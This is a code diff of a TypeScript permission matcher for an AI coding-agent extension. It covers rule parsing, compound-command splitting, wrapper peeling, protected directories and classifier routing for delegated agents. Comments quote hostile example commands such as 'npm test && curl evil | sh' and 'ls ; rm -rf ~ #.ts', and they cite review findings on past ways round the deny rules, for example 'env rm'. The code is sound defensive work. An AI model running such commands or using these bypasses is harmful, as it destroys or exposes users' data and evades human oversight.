one-code-extension 0.1.4 → 0.3.0

package/extensions/permissions/matcher.ts

@@ -9,7 +9,10 @@
 
 import { homedir } from "node:os";
 import { isAbsolute, relative, resolve, sep } from "node:path";
+import { analyzeShellCommand, hasInjectionSyntax, leadTokens, parseCommand, resolvePayload } from "../auto-mode/shell-analysis.ts";
+import { pathArgument } from "../auto-mode/paths.ts";
 import { isProtectedPath, isWritingTool } from "./protected-paths.ts";
+import { expandTilde } from "../lib/paths.ts";
 
 export type PermissionMode = "default" | "acceptEdits" | "plan" | "bypassPermissions" | "dontAsk" | "auto";
 /** "classify" is auto mode's outcome: hand the call to the approval classifier. */
@@ -31,15 +34,17 @@ const CC_TOOL_NAMES: Record<string, string> = {
 	web_fetch: "web_fetch",
 	websearch: "web_search",
 	web_search: "web_search",
-	task: "subagent",
-	agent: "subagent",
-	todowrite: "todo_write",
-	todo_write: "todo_write",
+	task: "Agent",
+	agent: "Agent",
+	subagent: "Agent", // pre-rename internal name, so old permission rules still match
 	skill: "skill",
+	toolsearch: "tool_search",
+	tool_search: "tool_search",
 	askuserquestion: "ask_user_question",
 	ask_user_question: "ask_user_question",
 	workflow: "workflow",
 	taskcreate: "task_create",
+	todowrite: "task_create", // CC's TodoWrite maps to our task list; steers a direct call to the task tools
 	taskget: "task_get",
 	tasklist: "task_list",
 	taskupdate: "task_update",
@@ -47,9 +52,14 @@ const CC_TOOL_NAMES: Record<string, string> = {
 	taskstop: "task_stop",
 	monitor: "monitor",
 	schedulewakeup: "schedule_wakeup",
-	sendmessage: "send_message",
+	sendmessage: "SendMessage",
+	send_message: "SendMessage", // pre-rename internal name
+	listagents: "list_agents",
+	list_agents: "list_agents",
 	enterworktree: "enter_worktree",
 	exitworktree: "exit_worktree",
+	lsp: "lsp_diagnostics", // CC defers a tool named `LSP`; our counterpart is lsp_diagnostics
+	lsp_diagnostics: "lsp_diagnostics",
 	listmcpresourcestool: "list_mcp_resources",
 	readmcpresourcetool: "read_mcp_resource",
 	readmcpresourcedirtool: "read_mcp_resource_dir",
@@ -79,26 +89,78 @@ export interface PermissionRule {
 	pattern?: string;
 }
 
-/** Parse "Tool" or "Tool(pattern)". Returns undefined for malformed rules. */
+/**
+ * Parse "Tool" or "Tool(pattern)". Returns undefined for malformed rules. Tool
+ * names may carry `-` and `.` — MCP tools keep their servers' hyphens
+ * (`mcp__github__delete-repo`), and a rule naming one used to be dropped
+ * silently (review P5) — and `:`, the plugin MCP namespace
+ * (`mcp__plugin:name:server__tool`).
+ */
 export function parseRule(raw: string): PermissionRule | undefined {
 	const trimmed = raw.trim();
 	if (!trimmed) return undefined;
-	const match = trimmed.match(/^([A-Za-z0-9_]+)(?:\((.*)\))?$/s);
+	const match = trimmed.match(/^([A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
 	if (!match) return undefined;
 	const [, name, pattern] = match;
 	return { raw: trimmed, tool: normalizeToolName(name), pattern: pattern || undefined };
 }
 
+/** Parsed rules plus the raw strings that could not be parsed, so a caller can report them. */
+export function parseRulesReport(raws: string[]): { rules: PermissionRule[]; dropped: string[] } {
+	const rules: PermissionRule[] = [];
+	const dropped: string[] = [];
+	for (const raw of raws) {
+		const rule = parseRule(raw);
+		if (rule) rules.push(rule);
+		else if (raw.trim()) dropped.push(raw.trim());
+	}
+	return { rules, dropped };
+}
+
 export function parseRules(raws: string[]): PermissionRule[] {
-	return raws.map(parseRule).filter((r): r is PermissionRule => r !== undefined);
+	return parseRulesReport(raws).rules;
+}
+
+/**
+ * Whether a bash pattern has a `*` that is a wildcard — i.e. not written `\*`.
+ * Claude Code's escape syntax: `\*` is a literal asterisk, `\\` a literal
+ * backslash. A pattern with no unescaped `*` is an exact command.
+ */
+export function hasUnescapedWildcard(pattern: string): boolean {
+	for (let i = 0; i < pattern.length; i++) {
+		if (pattern[i] === "\\") {
+			i++;
+			continue;
+		}
+		if (pattern[i] === "*") return true;
+	}
+	return false;
+}
+
+/** The literal command an exact (wildcard-free) bash pattern stands for. */
+export function unescapeLiteral(pattern: string): string {
+	return pattern.replace(/\\([*\\])/g, "$1");
 }
 
-/** Glob → RegExp. `**` crosses path separators, `*` does not. */
+/**
+ * Spell a literal command as a bash pattern that matches exactly it — `*` and
+ * `\` escaped — for rules minted from an approved command ("don't ask again
+ * this session"). Without this `ls *.ts` became a glob matching
+ * `ls ; rm -rf ~ #.ts` (review P7).
+ */
+export function escapeLiteral(command: string): string {
+	return command.replace(/[\\*]/g, (ch) => `\\${ch}`);
+}
+
+/** Glob → RegExp. `**` crosses path separators, `*` does not. `\*` / `\\` are literals. */
 function globToRegex(glob: string, pathMode: boolean): RegExp {
 	let out = "";
 	for (let i = 0; i < glob.length; i++) {
 		const ch = glob[i];
-		if (ch === "*") {
+		if (ch === "\\" && (glob[i + 1] === "*" || glob[i + 1] === "\\")) {
+			out += `\\${glob[i + 1]}`;
+			i++;
+		} else if (ch === "*") {
 			if (pathMode && glob[i + 1] === "*") {
 				out += ".*";
 				i++;
@@ -116,29 +178,168 @@ function globToRegex(glob: string, pathMode: boolean): RegExp {
 }
 
 /**
- * Bash pattern match, Claude Code semantics: exact command, or a prefix rule
- * "npm run test:*" (trailing ":*" = the command plus any arguments/suffix).
- * Other "*" wildcards match as globs.
+ * Bash pattern match against ONE command (no `&&`/`|`/`;`), Claude Code
+ * semantics (`utils/permissions/shellRuleMatching.ts` + `bashPermissions.ts`):
+ * - exact rule: the whole command, character for character;
+ * - prefix rule `npm test:*`: the command IS `npm test` or starts with
+ *   `npm test ` — the boundary is a literal space, so `git:*` does not cover
+ *   `gitk` (and, as in CC, `npm run test:*` does not cover `npm run test:unit`;
+ *   write `npm run test:unit:*` or `npm run test*` for that). The bare
+ *   `xargs <prefix>` spelling counts too, so `Bash(rm:*)` as a deny still
+ *   catches `xargs rm`;
+ * - wildcard rule (`*` anywhere else): `*` matches any run of characters; a
+ *   single trailing ` *` also matches the bare command (`git *` covers `git`).
+ * Compound commands are handled by the callers: {@link ruleMatches} (deny/ask
+ * — any subcommand) and {@link findBashAllowRule} (allow — every subcommand).
  */
 export function matchesBashPattern(pattern: string, command: string): boolean {
 	const cmd = command.trim();
 	if (pattern.endsWith(":*")) {
 		const prefix = pattern.slice(0, -2);
-		return cmd === prefix || cmd.startsWith(prefix);
+		if (cmd === prefix || cmd.startsWith(`${prefix} `)) return true;
+		const viaXargs = `xargs ${prefix}`;
+		return cmd === viaXargs || cmd.startsWith(`${viaXargs} `);
+	}
+	if (hasUnescapedWildcard(pattern)) {
+		let regex = globToRegex(pattern, false);
+		const stars = pattern.split("*").length - 1;
+		if (stars === 1 && pattern.endsWith(" *")) {
+			const source = regex.source.slice(0, -" .*$".length);
+			regex = new RegExp(`${source}( .*)?$`);
+		}
+		return regex.test(cmd);
+	}
+	return cmd === unescapeLiteral(pattern);
+}
+
+/**
+ * The separately-executing subcommands of a bash command line — what `&&`,
+ * `||`, `;`, `|`, `&`, and unquoted newlines separate — or undefined when the
+ * line cannot be parsed (unbalanced quotes). A single simple command comes
+ * back as itself.
+ */
+export function bashSubcommands(command: string): string[] | undefined {
+	const { segments, parseFailed } = parseCommand(command.trim());
+	if (parseFailed) return undefined;
+	return segments.map((seg) => seg.raw).filter((raw) => raw.length > 0);
+}
+
+/** Shells whose `-c` argument is a nested command line. */
+const SHELL_INTERPRETERS = new Set(["sh", "bash", "zsh", "dash", "ksh", "fish"]);
+
+/** The script a `sh -c '…'` / `bash -lc '…'` invocation runs, if any. */
+function inlineShellScript(args: string[]): string | undefined {
+	for (let i = 0; i < args.length - 1; i++) {
+		if (/^-[a-zA-Z]*c$/.test(args[i])) return args[i + 1];
 	}
-	if (pattern.includes("*")) {
-		return globToRegex(pattern, false).test(cmd);
+	return undefined;
+}
+
+/**
+ * Every spelling of a command line a deny/ask pattern is tested against: the
+ * raw line, each subcommand, and each subcommand's *payload form* — transparent
+ * wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …), subshell
+ * and group punctuation stripped, the command word reduced to its lowercased
+ * basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script
+ * expanded recursively. Claude Code strips the same wrappers before its deny
+ * check (`bashPermissions.ts stripSafeWrappers`); until 2026-09-05 `env rm -f
+ * x` ran past `Bash(rm:*)` here after a plain "Allow bash?" prompt
+ * (PERMISSIONS-REVIEW-2026-09-05 M1). Deny/ask only — an allow rule keeps
+ * matching the literal spelling (findBashAllowRule), so widening here can only
+ * make the gate stricter.
+ */
+export function bashMatchForms(command: string, depth = 0): string[] {
+	const forms = new Set<string>();
+	const trimmed = command.trim();
+	if (!trimmed) return [];
+	forms.add(trimmed);
+	if (depth > 4) return [...forms];
+	const { segments, parseFailed } = parseCommand(trimmed);
+	if (parseFailed) return [...forms];
+	for (const segment of segments) {
+		if (segment.raw) forms.add(segment.raw);
+		const tokens = leadTokens(segment);
+		if (tokens.length === 0) continue;
+		const payload = resolvePayload(tokens);
+		if (!payload.command) continue;
+		const args = payload.args.map((token) => token.value);
+		forms.add([payload.command, ...args].join(" "));
+		if (SHELL_INTERPRETERS.has(payload.command)) {
+			const script = inlineShellScript(args);
+			if (script) for (const form of bashMatchForms(script, depth + 1)) forms.add(form);
+		}
+	}
+	return [...forms];
+}
+
+/**
+ * A bash deny/ask rule matches when its pattern covers the WHOLE command, ANY
+ * subcommand of it, or any subcommand's payload form ({@link bashMatchForms}) —
+ * wrapping `rm -rf x` in `ls && rm -rf x` or `env rm -rf x` must not slip past
+ * `Bash(rm:*)` (CC: "deny/ask rules must match compound commands so they can't
+ * be bypassed"). Unparseable lines are matched as a whole only.
+ */
+function bashPatternMatchesAny(pattern: string, command: string): boolean {
+	// decide() tests every deny rule, then every ask rule, against the same
+	// command; the forms depend on the command alone, so the last parse is kept.
+	if (lastForms?.command !== command) lastForms = { command, forms: bashMatchForms(command) };
+	return lastForms.forms.some((form) => matchesBashPattern(pattern, form));
+}
+let lastForms: { command: string; forms: string[] } | undefined;
+
+/**
+ * The allow rule that lets a bash command run, or undefined. CC semantics: an
+ * EXACT rule equal to the whole command allows it outright (the user approved
+ * that literal string); otherwise the command is split into subcommands and
+ * every one of them must be covered by some allow rule — `Bash(npm test:*)`
+ * alone never covers `npm test && curl evil | sh`, while `Bash(npm test:*)` +
+ * `Bash(git status:*)` together cover `npm test && git status`. Prefix and
+ * wildcard rules never cover a command carrying command substitution, process
+ * substitution, eval/exec, a pipe into an interpreter, or a base64 decode:
+ * what runs is not what the words say, so the rule's author never saw it. An
+ * unparseable line is not covered. The rule returned is the first one that
+ * covered a subcommand (for the "allowed by rule …" note).
+ */
+export function findBashAllowRule(rules: PermissionRule[], command: string, toolName = "bash"): PermissionRule | undefined {
+	const cmd = command.trim();
+	if (!cmd) return undefined;
+	// `monitor` carries a shell command too and is judged with the same
+	// semantics; its rules are `monitor(...)`, never `bash(...)`.
+	const bashRules = rules.filter((r) => ruleCoversTool(r.tool, toolName));
+	const bare = bashRules.find((r) => !r.pattern);
+	if (bare) return bare;
+	const exact = bashRules.find(
+		(r) => r.pattern !== undefined && !hasUnescapedWildcard(r.pattern) && unescapeLiteral(r.pattern) === cmd,
+	);
+	if (exact) return exact;
+	if (hasInjectionSyntax(cmd)) return undefined;
+	const subs = bashSubcommands(cmd);
+	if (!subs || subs.length === 0) return undefined;
+	let first: PermissionRule | undefined;
+	for (const sub of subs) {
+		const rule = bashRules.find((r) => r.pattern !== undefined && matchesBashPattern(r.pattern, sub));
+		if (!rule) return undefined;
+		first ??= rule;
 	}
-	return cmd === pattern;
+	return first;
 }
 
-/** Path pattern match against the raw, absolute, cwd-relative, and ~-expanded forms. */
+/**
+ * Path pattern match against the RESOLVED forms of the subject — absolute
+ * (with `.`/`..` normalised), cwd-relative, and `~/`-relative — never the raw
+ * spelling: `Edit(docs/**)` must not match `docs/../src/main.ts`, and a
+ * `~/.ssh/id_rsa` subject must hit `Read(~/.ssh/**)` (review P6).
+ */
 export function matchesPathPattern(pattern: string, subject: string, cwd: string): boolean {
 	const home = homedir();
-	const expandedPattern = pattern.startsWith("~/") ? `${home}/${pattern.slice(2)}` : pattern;
-
-	const candidates = new Set<string>([subject]);
-	const absolute = isAbsolute(subject) ? subject : resolve(cwd, subject);
+	// Claude Code's rule syntax: `//path` is an absolute filesystem path (the
+	// doubled slash distinguishes it from `/path`, which CC reads relative to
+	// the project root). `Read(//etc/**)` is the form CC's own suggestions write.
+	const expandedPattern = pattern.startsWith("//") ? expandTilde(pattern.slice(1), home) : expandTilde(pattern, home);
+	const expandedSubject = expandTilde(subject, home);
+
+	const candidates = new Set<string>();
+	const absolute = isAbsolute(expandedSubject) ? resolve(expandedSubject) : resolve(cwd, expandedSubject);
 	candidates.add(absolute);
 	const rel = relative(cwd, absolute);
 	if (rel && !rel.startsWith("..")) candidates.add(rel);
@@ -151,11 +352,82 @@ export function matchesPathPattern(pattern: string, subject: string, cwd: string
 	return false;
 }
 
-/** The argument a rule pattern applies to, per tool. */
+/**
+ * What kind of thing a tool's subject is, which decides how a rule pattern is
+ * matched against it and how a session grant is scoped: a shell command line
+ * (bash-pattern semantics), a filesystem path (path globs against the resolved
+ * forms), a URL (Claude Code's `domain:` form), or plain text (a glob).
+ */
+export type SubjectKind = "command" | "path" | "url" | "text";
+
+export function subjectKind(toolName: string): SubjectKind {
+	const name = normalizeToolName(toolName);
+	if (name === "bash" || name === "monitor") return "command";
+	if (name === "web_fetch") return "url";
+	if (isPathSubjectTool(name)) return "path";
+	return "text";
+}
+
+/** A tool call's arguments as one line, for a prompt that would otherwise read "(no arguments)". */
+function compactArguments(input: Record<string, unknown>): string {
+	if (Object.keys(input).length === 0) return "";
+	try {
+		return JSON.stringify(input);
+	} catch {
+		return "";
+	}
+}
+
+/**
+ * The argument a rule pattern applies to — and the thing the user is shown in
+ * an approval prompt — per tool. Until 2026-09-05 everything but bash fell
+ * back to a `path` argument, so a `web_fetch`, `monitor` or `enter_worktree`
+ * prompt read "(no arguments)" and the user approved blind
+ * (PERMISSIONS-REVIEW-2026-09-05 M5). A tool with none of the named fields
+ * shows its arguments compactly (MCP tools in particular).
+ */
 export function extractSubject(toolName: string, input: Record<string, unknown>): string {
-	if (toolName === "bash") return typeof input.command === "string" ? input.command : "";
-	const path = input.path ?? input.file_path;
-	return typeof path === "string" ? path : "";
+	const name = normalizeToolName(toolName);
+	const str = (key: string): string | undefined => (typeof input[key] === "string" ? (input[key] as string) : undefined);
+	switch (name) {
+		case "bash":
+		case "monitor":
+			return str("command") ?? "";
+		case "web_fetch":
+			return str("url") ?? "";
+		case "web_search":
+			return str("query") ?? "";
+		case "enter_worktree":
+			return str("name") ?? str("path") ?? "";
+		case "read_mcp_resource":
+		case "read_mcp_resource_dir":
+			return str("uri") ?? "";
+	}
+	if (isPathSubjectTool(name)) return pathArgument(input) ?? "";
+	return pathArgument(input) ?? compactArguments(input);
+}
+
+/** The lowercased host of a URL, or undefined when it does not parse (a bare `example.com/x` is tried as https). */
+export function urlHost(url: string): string | undefined {
+	for (const candidate of [url, `https://${url}`]) {
+		try {
+			const host = new URL(candidate).hostname.toLowerCase();
+			if (host) return host;
+		} catch {
+			// try the next spelling
+		}
+	}
+	return undefined;
+}
+
+/**
+ * URL rule match: Claude Code's `WebFetch(domain:example.com)` form compares
+ * the URL's host exactly; any other pattern is a glob over the whole URL.
+ */
+function matchesUrlPattern(pattern: string, url: string): boolean {
+	const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim().toLowerCase();
+	if (domain) return urlHost(url) === domain;
+	return globToRegex(pattern, false).test(url);
 }
 
 /**
@@ -164,14 +436,19 @@ export function extractSubject(toolName: string, input: Record<string, unknown>)
  * arrives case-folded from `resolveForContainment`, and without folding that
  * branch of the check could never match on macOS.
  */
-/** Expand a leading `~/`, resolve against cwd, and case-fold — the same shape
- * `resolveForContainment` folds its output to, so a subject compared here matches. */
+/**
+ * Expand a leading `~/`, resolve against cwd, and case-fold where the
+ * filesystem does (darwin/win32) — the same shape `resolveForContainment`
+ * folds its output to, so a subject compared here matches. Linux stays
+ * case-sensitive: folding there would make `/home/u/PROJECT` read as inside
+ * `/home/u/project`.
+ */
 function toAbsoluteFolded(p: string, cwd: string): string {
-	const expanded = p.startsWith("~/") ? `${homedir()}/${p.slice(2)}` : p;
-	return resolve(cwd, expanded).toLowerCase();
+	const absolute = resolve(cwd, expandTilde(p, homedir()));
+	return process.platform === "linux" ? absolute : absolute.toLowerCase();
 }
 
-export function isPlanFilePath(candidate: string, planFilePath: string, cwd: string): boolean {
+function isPlanFilePath(candidate: string, planFilePath: string, cwd: string): boolean {
 	return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(planFilePath, cwd);
 }
 
@@ -186,12 +463,45 @@ export function isInsideDir(candidate: string, dir: string, cwd: string): boolea
 	return toAbsoluteFolded(candidate, cwd).startsWith(toAbsoluteFolded(dir, cwd) + sep);
 }
 
+/** `isInsideDir`, plus the directory itself (`ls <cwd>` lists the working directory). */
+export function isAtOrInsideDir(candidate: string, dir: string, cwd: string): boolean {
+	return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(dir, cwd) || isInsideDir(candidate, dir, cwd);
+}
+
+/**
+ * Whether one rule matches a call. For bash this is the deny/ask ("any
+ * subcommand") semantics — allow rules go through {@link findBashAllowRule}.
+ */
 export function ruleMatches(rule: PermissionRule, toolName: string, subject: string, cwd: string): boolean {
-	if (rule.tool !== normalizeToolName(toolName)) return false;
+	if (!ruleCoversTool(rule.tool, toolName)) return false;
 	if (!rule.pattern) return true;
 	if (!subject) return false;
-	if (rule.tool === "bash") return matchesBashPattern(rule.pattern, subject);
-	return matchesPathPattern(rule.pattern, subject, cwd);
+	switch (subjectKind(toolName)) {
+		case "command":
+			return bashPatternMatchesAny(rule.pattern, subject);
+		case "path":
+			return matchesPathPattern(rule.pattern, subject, cwd);
+		case "url":
+			return matchesUrlPattern(rule.pattern, subject);
+		case "text":
+			return globToRegex(rule.pattern, false).test(subject);
+	}
+}
+
+/**
+ * Whether a rule's tool covers a call's tool: the same name, or Claude Code's
+ * server-wide MCP form — `mcp__github` covers every `mcp__github__*` tool, and
+ * `mcp__plugin:x:server` the plugin-namespaced form. A rule naming a specific
+ * tool (`mcp__github__delete_repo`, two `__` groups) stays exact. Until
+ * 2026-09-05 the server-wide spelling, the natural way to keep an agent off a
+ * server, matched nothing (PERMISSIONS-REVIEW-2026-09-05 M3).
+ */
+export function ruleCoversTool(ruleTool: string, toolName: string): boolean {
+	const tool = normalizeToolName(toolName);
+	if (ruleTool === tool) return true;
+	if (!ruleTool.startsWith("mcp__")) return false;
+	const server = ruleTool.slice("mcp__".length);
+	return server.length > 0 && !server.includes("__") && tool.startsWith(`${ruleTool}__`);
 }
 
 /** Risk tier drives the unmatched-rule default. */
@@ -208,6 +518,18 @@ export function toolTier(toolName: string): ToolTier {
 	return "custom";
 }
 
+/**
+ * Whether a tool's subject is a filesystem path whose RESOLVED form the gate
+ * judges (protected paths, working-directory containment): the writing tools
+ * and the read tier. A bash subject is a command line; a custom tool's is
+ * whatever pathArgument found, not necessarily a path. Callers pass
+ * `resolveForContainment(toAbsolute(...))` as `resolvedSubject` for these only.
+ */
+export function isPathSubjectTool(toolName: string): boolean {
+	const name = normalizeToolName(toolName);
+	return isWritingTool(name) || toolTier(name) === "safe";
+}
+
 /**
  * Tools that never need approval: they change no state outside the session and
  * touch no network or filesystem the user hasn't already opted into.
@@ -217,7 +539,6 @@ export function toolTier(toolName: string): ToolTier {
  * since a blocked loader means the model can never reach the tools behind it.
  */
 export const AUTO_ALLOWED_TOOLS = new Set<string>([
-	"todo_write",
 	"ask_user_question",
 	"ask_user",
 	// Loads tool schemas and packaged instructions; no side effects.
@@ -226,10 +547,10 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
 	// Read-only inspection.
 	"lsp_diagnostics",
 	"list_mcp_resources",
+	"list_agents",
 	// Subagent orchestration is safe to launch; each child enforces its own
-	// tool permissions (inheriting this session's mode via env).
-	"subagent",
-	"subagent_wait",
+	// tool permissions via the in-process permission gate.
+	"Agent",
 	// Same reasoning for workflow: the script itself cannot touch the
 	// filesystem, network, or shell — only spawn agents, and every one of those
 	// runs behind the workflow permission gate.
@@ -237,7 +558,7 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
 	// Plan-mode transitions must work inside plan mode itself.
 	"enter_plan_mode",
 	"exit_plan_mode",
-	// Session-state bookkeeping, like todo_write.
+	// Session-state bookkeeping.
 	"task_create",
 	"task_get",
 	"task_list",
@@ -247,10 +568,10 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
 	"task_stop",
 	// A timer that replays a prompt; no side effects outside the session.
 	"schedule_wakeup",
-	// Resumes a subagent — same reasoning as subagent: the child enforces its
+	// Resumes/messages an agent — same reasoning as Agent: the child enforces its
 	// own tool permissions. (monitor and enter/exit_worktree stay gated: they
 	// run arbitrary shell commands / mutate the filesystem.)
-	"send_message",
+	"SendMessage",
 ]);
 
 export interface DecideInput {
@@ -289,6 +610,33 @@ export interface DecideInput {
 	 * the memory dir.
 	 */
 	scratchpadDirPath?: string;
+	/**
+	 * The working directory's own resolved form (`resolveForContainment(cwd)`),
+	 * when the caller could resolve it. A resolved subject is compared against
+	 * it as well as the literal cwd: on macOS a project under `/var/folders`
+	 * resolves to `/private/var/folders`, and without this every in-project
+	 * path read as outside the working directory. Kept an input so this module
+	 * stays pure.
+	 */
+	resolvedCwd?: string;
+	/**
+	 * Where the session persists oversized tool outputs (`lib/persisted-output.ts
+	 * sessionResultsDir`). Readable like the working directory: the model is
+	 * told to read those files back.
+	 */
+	resultsDirPath?: string;
+	/**
+	 * Directories protected at runtime, beyond the static list in
+	 * protected-paths.ts (see `runtimeProtectedDirs()`, the sole producer): pi's
+	 * own agent directory (`getAgentDir()` — `~/.pi/agent` for stock pi,
+	 * `~/.onecode/agent` bundled), Claude Code's config dir (`claudeConfigDir()`)
+	 * and One Code's state dir (`oneCodeStateDir()`). The last two catch a
+	 * relocated `CLAUDE_CONFIG_DIR` / `ONECODE_STATE_DIR`, which the static
+	 * segment list cannot (distribution review 2026-09-09, L2). Absolute paths; a
+	 * write landing inside one is judged like a protected path
+	 * (PERMISSIONS-REVIEW-2026-09-05 M7).
+	 */
+	protectedDirs?: string[];
 }
 
 export interface Decision {
@@ -296,18 +644,39 @@ export interface Decision {
 	/** Rule that determined the outcome, when one did. */
 	rule?: PermissionRule;
 	/** Why, for deny/ask decisions surfaced to the model or user. */
-	cause: "rule" | "plan-mode" | "plan-file" | "memory-dir" | "scratchpad-dir" | "mode" | "tier" | "protected-path";
+	cause:
+		| "rule"
+		| "plan-mode"
+		| "plan-file"
+		| "plan-readonly"
+		| "memory-dir"
+		| "scratchpad-dir"
+		| "mode"
+		| "tier"
+		| "protected-path"
+		/** A read, or an acceptEdits write, whose path is outside the working directory. */
+		| "working-dir";
 }
 
+/**
+ * Custom-tier tools that only read (the network or MCP resources) and so stay
+ * available in plan mode, as WebFetch/WebSearch do in Claude Code. Everything
+ * else custom is treated as a mutation there.
+ */
+const PLAN_READ_ONLY_TOOLS = new Set(["web_fetch", "web_search", "list_mcp_resources", "read_mcp_resource", "read_mcp_resource_dir"]);
+
 /**
  * Tools that launch a fresh agent loop. In auto mode these are classified
  * rather than auto-allowed, so the delegated task is judged before the child
  * starts — a child cannot be trusted to refuse a task its parent should not have
  * handed it, and Claude Code evaluates the task description at spawn time for
  * the same reason. Outside auto mode they stay auto-allowed: each child enforces
- * its own permissions by inheriting the mode.
+ * its own permissions by inheriting the mode. `SendMessage` is a delegation
+ * too: a new task handed to a resident agent after its spawn was judged is a
+ * new delegation, and until 2026-09-05 it was never classified
+ * (PERMISSIONS-REVIEW-2026-09-05 L4).
  */
-const DELEGATION_TOOLS = new Set(["subagent", "workflow"]);
+const DELEGATION_TOOLS = new Set(["Agent", "workflow", "SendMessage"]);
 
 /**
  * Interpreters and runners whose arguments are code, so a wildcarded rule over
@@ -330,7 +699,7 @@ const INTERPRETERS_AND_RUNNERS =
 export function isBroadExecutionRule(rule: PermissionRule): boolean {
 	// Delegation rules are dropped outright: a subagent is a fresh agent loop, so
 	// pre-approving one pre-approves whatever that loop decides to do.
-	if (rule.tool === "subagent" || rule.tool === "workflow") return true;
+	if (DELEGATION_TOOLS.has(rule.tool)) return true;
 	if (rule.tool !== "bash") return false;
 
 	if (!rule.pattern) return true;
@@ -338,7 +707,7 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
 	// Without a wildcard the rule matches one exact command, which is narrow by
 	// construction however powerful that command is — `Bash(python)` only ever
 	// starts a bare REPL.
-	if (!pattern.includes("*")) return false;
+	if (!hasUnescapedWildcard(pattern)) return false;
 	if (/^(\*|:\*|\*\*)$/.test(pattern)) return true;
 
 	const head = pattern.split(/[\s*]/)[0] ?? "";
@@ -350,10 +719,12 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
 	// The runner's own escape hatch takes arbitrary code: `npm run *`, `npx *`.
 	if (/^(run|exec|x)[:\s]*\*+$/.test(rest)) return true;
 	// Interpreter inline-code flags take arbitrary code: `python -c *`, `node -e *`,
-	// `sh -c *`, `bash -c *`, `ruby -e *`. Without this, such a rule granted a
-	// standing bypass of the classifier (over-flagging a runner's `-c` here only
-	// costs a classifier call, which is the safe direction).
-	if (/^-(c|e)[:\s=]*\*+$/.test(rest)) return true;
+	// `sh -c *`, `bash -c *`, `ruby -e *`. Quote-wrapped spellings count too —
+	// `python3 -c '*` / `-c ' *` (as real settings write them) hand over exactly
+	// the same arbitrary code slot. Without this, such a rule granted a standing
+	// bypass of the classifier (over-flagging a runner's `-c` here only costs a
+	// classifier call, which is the safe direction).
+	if (/^-(c|e)[\s:='"]*\*+['"]*$/.test(rest)) return true;
 	// `npm test:*` names the script, so it stays narrow.
 	return false;
 }
@@ -374,8 +745,9 @@ export function decide(params: DecideInput): Decision {
 	if (mode === "bypassPermissions") return { decision: "allow", cause: "mode" };
 
 	const tier = toolTier(toolName);
+	const tool = normalizeToolName(toolName);
 	if (mode === "plan" && tier !== "safe" && !AUTO_ALLOWED_TOOLS.has(normalizeToolName(toolName))) {
-		// Plan mode's one writable file (~/.one-code/plans/<slug>.md, which
+		// Plan mode's one writable file (~/.onecode/plans/<slug>.md, which
 		// protected-paths already excepts as working space).
 		const planFile = params.planFilePath;
 		if (planFile && isWritingTool(normalizeToolName(toolName)) && subject) {
@@ -384,6 +756,21 @@ export function decide(params: DecideInput): Decision {
 				(params.resolvedSubject ? isPlanFilePath(params.resolvedSubject, planFile, cwd) : false);
 			if (planTarget) return { decision: "allow", cause: "plan-file" };
 		}
+		// Read-only bash stays usable while planning (Claude Code permits it). The
+		// auto-mode shell pre-gate's "safe" verdict means "every command is on the
+		// read-only allowlist, nothing leaves the project" — plus in-project
+		// redirect writes, which it records; a safe verdict with no writes is
+		// exactly read-only. Anything it cannot vouch for is denied as before.
+		// Without this the frontier tier (no grep/find/ls) was left with `read` alone.
+		if (tool === "bash" && subject) {
+			const evidence = analyzeShellCommand({ command: subject, cwd, home: homedir(), protectedDirs: params.protectedDirs });
+			if (evidence.verdict === "safe" && evidence.writes.length === 0) return { decision: "allow", cause: "plan-readonly" };
+			// Read-only, but of a path outside the working directory: still a read,
+			// so it is put to the user rather than refused as a plan-mode mutation
+			// (the read tools ask for the same path below).
+			if (evidence.readOnlyOutside && evidence.writes.length === 0) return { decision: "ask", cause: "working-dir" };
+		}
+		if (PLAN_READ_ONLY_TOOLS.has(tool)) return { decision: "allow", cause: "plan-readonly" };
 		return { decision: "deny", cause: "plan-mode" };
 	}
 
@@ -413,14 +800,21 @@ export function decide(params: DecideInput): Decision {
 		]) {
 			if (dir && isInsideDir(target, dir, cwd)) return { decision: "allow", cause };
 		}
+		// The plan file lives under the state dir (`~/.onecode/plans`), which the
+		// runtime protects; clear it here, before the protected check, since it is
+		// harness working space the model is told to write (review L2).
+		if (params.planFilePath && isPlanFilePath(target, params.planFilePath, cwd)) return { decision: "allow", cause: "plan-file" };
 	}
 
 	// Protected-path writes are checked *before* allow rules, so an
 	// `Edit(.claude/**)` entry cannot pre-approve reconfiguring the agent's own
 	// permissions or planting a git hook. In auto mode they go to the classifier.
-	const tool = normalizeToolName(toolName);
 	const protectedTarget = () =>
-		isProtectedPath(subject, cwd) || (params.resolvedSubject ? isProtectedPath(params.resolvedSubject, cwd) : false);
+		[subject, params.resolvedSubject].some(
+			(candidate) =>
+				candidate &&
+				(isProtectedPath(candidate, cwd) || (params.protectedDirs ?? []).some((dir) => isInsideDir(candidate, dir, cwd))),
+		);
 	if (isWritingTool(tool) && subject && protectedTarget()) {
 		if (mode === "dontAsk") return { decision: "deny", cause: "protected-path" };
 		if (mode === "auto") return { decision: "classify", cause: "protected-path" };
@@ -435,17 +829,54 @@ export function decide(params: DecideInput): Decision {
 					return true;
 				})
 			: allow;
-	const allowRule = usableAllow.find((r) => ruleMatches(r, toolName, subject, cwd));
+	// Command allow rules (bash, monitor) must cover EVERY subcommand of a
+	// compound line (CC semantics); a deny/ask rule above fired on ANY subcommand.
+	const allowRule =
+		subjectKind(tool) === "command"
+			? subject
+				? findBashAllowRule(usableAllow, subject, tool)
+				: undefined
+			: usableAllow.find((r) => ruleMatches(r, toolName, subject, cwd));
 	if (allowRule) return { decision: "allow", rule: allowRule, cause: "rule" };
 
 	if (mode === "auto" && DELEGATION_TOOLS.has(tool)) {
 		return { decision: "classify", cause: "mode" };
 	}
 
-	if (tier === "safe" || AUTO_ALLOWED_TOOLS.has(tool)) {
-		return { decision: "allow", cause: "tier" };
+	/**
+	 * Working-directory containment — Claude Code's `pathInAllowedWorkingPath`
